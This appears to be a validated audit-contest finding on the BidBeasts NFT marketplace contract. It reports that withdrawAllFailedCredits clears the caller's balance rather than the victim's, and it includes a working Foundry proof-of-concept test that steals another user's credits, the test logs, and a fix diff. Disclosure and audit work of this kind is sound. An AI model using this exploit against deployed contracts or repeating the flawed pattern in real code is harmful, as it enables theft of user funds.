Bid Beasts
First Flight #49
Beginner FriendlyFoundrySolidityNFT
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Submission Details
Severity: high
Valid

Users Can Steal Failed Credits from Any Other User

wojack0x0

Description

The contract intends to hold funds for users in case of direct transfer failure (_payout) by storing them in a mapping called failedTransferCredits. There is a function withdrawAllFailedCredits(address _receiver) to allow users to withdraw these funds later.

The problem is that the function reads the balance of the victim (_receiver), but incorrectly clears the balance of the caller (msg.sender, the attacker). As a result, an attacker can call the function with a victim's address who has a pending balance, and the contract will transfer the victim's balance to the attacker (msg.sender) without updating the victim's balance, allowing the attacker to call the function repeatedly to steal the same balance over and over until the contract runs out of gas.

// src/BidBeastsNFTMarketPlace.sol
​
function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
@> failedTransferCredits[msg.sender] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}

Risk Assessment

Likelihood: High

  • This vulnerability occurs every time the function is called with a victim's address who has a pending balance.

Impact: Critical

  • Direct theft of user funds that were held in the contract due to previous transfer failures. An attacker can drain all pending balances of all users.

Proof of Concept (PoC)

The following test will simulate a scenario where transferring funds to the seller fails, resulting in creating a pending balance for them. Then, the attacker (BIDDER_2) will call withdrawAllFailedCredits using the seller's address (SELLER) as _receiver to steal their funds.

// test/VulnerabilityTest.t.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
​
import {Test, console} from "forge-std/Test.sol";
import {BidBeastsNFTMarket} from "../src/BidBeastsNFTMarketPlace.sol";
import {BidBeasts} from "../src/BidBeasts_NFT_ERC721.sol";
import {ERC721Holder} from "@openzeppelin/contracts/token/ERC721/utils/ERC721Holder.sol";
​
// A mock contract that can receive NFTs but rejects Ether payments.
contract RejectEther is ERC721Holder {
receive() external payable {
revert("Ether payment rejected");
}
}
​
contract ExploitTest is Test {
// --- State Variables ---
BidBeastsNFTMarket market;
BidBeasts nft;
RejectEther rejector;
​
// --- Users ---
address public constant OWNER = address(0x1);
address public constant SELLER = address(0x2); // Not used directly in this test
address public constant BIDDER_1 = address(0x3);
address public constant BIDDER_2 = address(0x4); // Attacker
​
// --- Constants ---
uint256 public constant STARTING_BALANCE = 100 ether;
uint256 public constant TOKEN_ID = 0;
uint256 public constant MIN_PRICE = 1 ether;
​
function setUp() public {
// Deploy contracts
vm.prank(OWNER);
nft = new BidBeasts();
market = new BidBeastsNFTMarket(address(nft));
rejector = new RejectEther();
vm.stopPrank();
​
// Fund users
vm.deal(BIDDER_1, STARTING_BALANCE);
vm.deal(BIDDER_2, STARTING_BALANCE);
}
​
/// @notice This test demonstrates that an attacker can steal failed withdrawal credits from any other user.
/// The vulnerability lies in `withdrawAllFailedCredits` which clears `msg.sender`'s credits instead of the `_receiver`'s.
function test_exploit_StealFailedCredits_Realistic() public {
console.log("--- Test: Steal Failed Credits ---");
​
// Step 1: Mint NFT directly to the 'rejector' contract.
// This simulates a scenario where the seller is a contract that cannot receive ETH.
console.log("Step 1: Minting NFT to victim contract (rejector)...");
vm.prank(OWNER);
nft.mint(address(rejector));
vm.stopPrank();
assertEq(nft.ownerOf(TOKEN_ID), address(rejector), "Rejector should own the NFT");
console.log("NFT minted successfully to victim.");
​
// Step 2: The 'rejector' contract lists the NFT for sale.
// We use vm.prank to act on its behalf.
console.log("Step 2: Victim contract lists the NFT...");
vm.startPrank(address(rejector));
nft.approve(address(market), TOKEN_ID);
market.listNFT(TOKEN_ID, MIN_PRICE, 0);
vm.stopPrank();
assertEq(market.getListing(TOKEN_ID).seller, address(rejector), "Listing seller should be the victim contract");
console.log("NFT listed successfully.");
​
// Step 3: A bidder places a valid bid.
uint256 bidAmount = MIN_PRICE + 1 ether;
console.log("Step 3: Bidder places a bid of %s ETH...", bidAmount / 1 ether);
vm.prank(BIDDER_1);
market.placeBid{value: bidAmount}(TOKEN_ID);
vm.stopPrank();
console.log("Bid placed successfully.");
​
// Step 4: Settle the auction after it ends.
// The payout to 'rejector' will fail due to its receive() function, creating a failed credit.
console.log("Step 4: Settling auction, expecting payout to fail...");
vm.warp(block.timestamp + market.S_AUCTION_EXTENSION_DURATION() + 1);
market.settleAuction(TOKEN_ID);
console.log("Auction settled.");
​
// Step 5: Verify that a failed credit was created for the victim.
uint256 expectedCredit = (bidAmount * (100 - market.S_FEE_PERCENTAGE())) / 100;
uint256 victimCredit = market.failedTransferCredits(address(rejector));
console.log("Victim's expected failed credit: %s wei", expectedCredit);
console.log("Victim's actual failed credit: %s wei", victimCredit);
assertEq(victimCredit, expectedCredit, "Victim should have failed credits after failed payout");
console.log("Step 5: Verified failed credit created for victim.");
​
// --- THE ATTACK ---
console.log("\n--- Starting Attack ---");
​
// Step 6: Attacker (BIDDER_2) calls `withdrawAllFailedCredits` with the victim's address.
address attacker = BIDDER_2;
uint256 attackerBalanceBefore = attacker.balance;
console.log("Attacker balance before attack: %s ETH", attackerBalanceBefore / 1 ether);
​
vm.prank(attacker);
market.withdrawAllFailedCredits(address(rejector));
console.log("Step 6: Attacker called withdrawAllFailedCredits(victim_address).");
​
// Step 7: Assert that the theft was successful and the state is incorrect.
uint256 attackerBalanceAfter = attacker.balance;
console.log("Attacker balance after attack: %s ETH", attackerBalanceAfter / 1 ether);
assertEq(attackerBalanceAfter, attackerBalanceBefore + expectedCredit, "Attacker's balance should have increased by the victim's credit amount");
console.log(" VULNERABILITY CONFIRMED: Attacker's balance increased correctly.");
​
// Verify the bug: victim's credits were not cleared.
uint256 victimCreditAfter = market.failedTransferCredits(address(rejector));
console.log("Victim's failed credits after attack: %s wei", victimCreditAfter);
assertEq(victimCreditAfter, expectedCredit, "Victim's credit should NOT have been cleared!");
console.log(" VULNERABILITY CONFIRMED: Victim's credits remain, allowing for re-entrancy/re-exploitation.");
// Verify the bug: attacker's own (zero) credits were cleared instead.
uint256 attackerCreditAfter = market.failedTransferCredits(attacker);
assertEq(attackerCreditAfter, 0, "Attacker's own credits (which were 0) should now be 0");
console.log(" VULNERABILITY CONFIRMED: Attacker's (empty) credit balance was cleared instead of victim's.");
}
}

To run the test:

  1. Add the above test to the file test/VulnerabilityTest.t.sol.

  2. Run the following command: forge test --match-path test/VulnerabilityTest.t.sol -vv

Expected Result:

➜ 2025-09-bid-beasts git:(main) ✗ forge test --match-path test/VulnerabilityTest.t.sol -vv
[⠊] Compiling...
No files changed, compilation skipped
​
Ran 1 test for test/VulnerabilityTest.t.sol:ExploitTest
[PASS] test_exploit_StealFailedCredits_Realistic() (gas: 362808)
Logs:
--- Test: Steal Failed Credits ---
Step 1: Minting NFT to victim contract (rejector)...
NFT minted successfully to victim.
Step 2: Victim contract lists the NFT...
NFT listed successfully.
Step 3: Bidder places a bid of 2 ETH...
Bid placed successfully.
Step 4: Settling auction, expecting payout to fail...
Auction settled.
Victim's expected failed credit: 1900000000000000000 wei
Victim's actual failed credit: 1900000000000000000 wei
Step 5: Verified failed credit created for victim.
--- Starting Attack ---
Attacker balance before attack: 100 ETH
Step 6: Attacker called withdrawAllFailedCredits(victim_address).
Attacker balance after attack: 101 ETH
VULNERABILITY CONFIRMED: Attacker's balance increased correctly.
Victim's failed credits after attack: 1900000000000000000 wei
VULNERABILITY CONFIRMED: Victim's credits remain, allowing for re-entrancy/re-exploitation.
VULNERABILITY CONFIRMED: Attacker's (empty) credit balance was cleared instead of victim's.
​
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.30ms (1.47ms CPU time)

Recommended Mitigation

The function should be updated to clear the balance of _receiver instead of msg.sender.

// src/BidBeastsNFTMarketPlace.sol
​
function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
- failedTransferCredits[msg.sender] = 0;
+ failedTransferCredits[_receiver] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}
Updates

Lead Judging Commences

cryptoghost Lead Judge 21 days ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Unrestricted FailedCredits Withdrawal

withdrawAllFailedCredits allows any user to withdraw another account’s failed transfer credits due to improper use of msg.sender instead of _receiver for balance reset and transfer.

cryptoghost Lead Judge 21 days ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Unrestricted FailedCredits Withdrawal

withdrawAllFailedCredits allows any user to withdraw another account’s failed transfer credits due to improper use of msg.sender instead of _receiver for balance reset and transfer.

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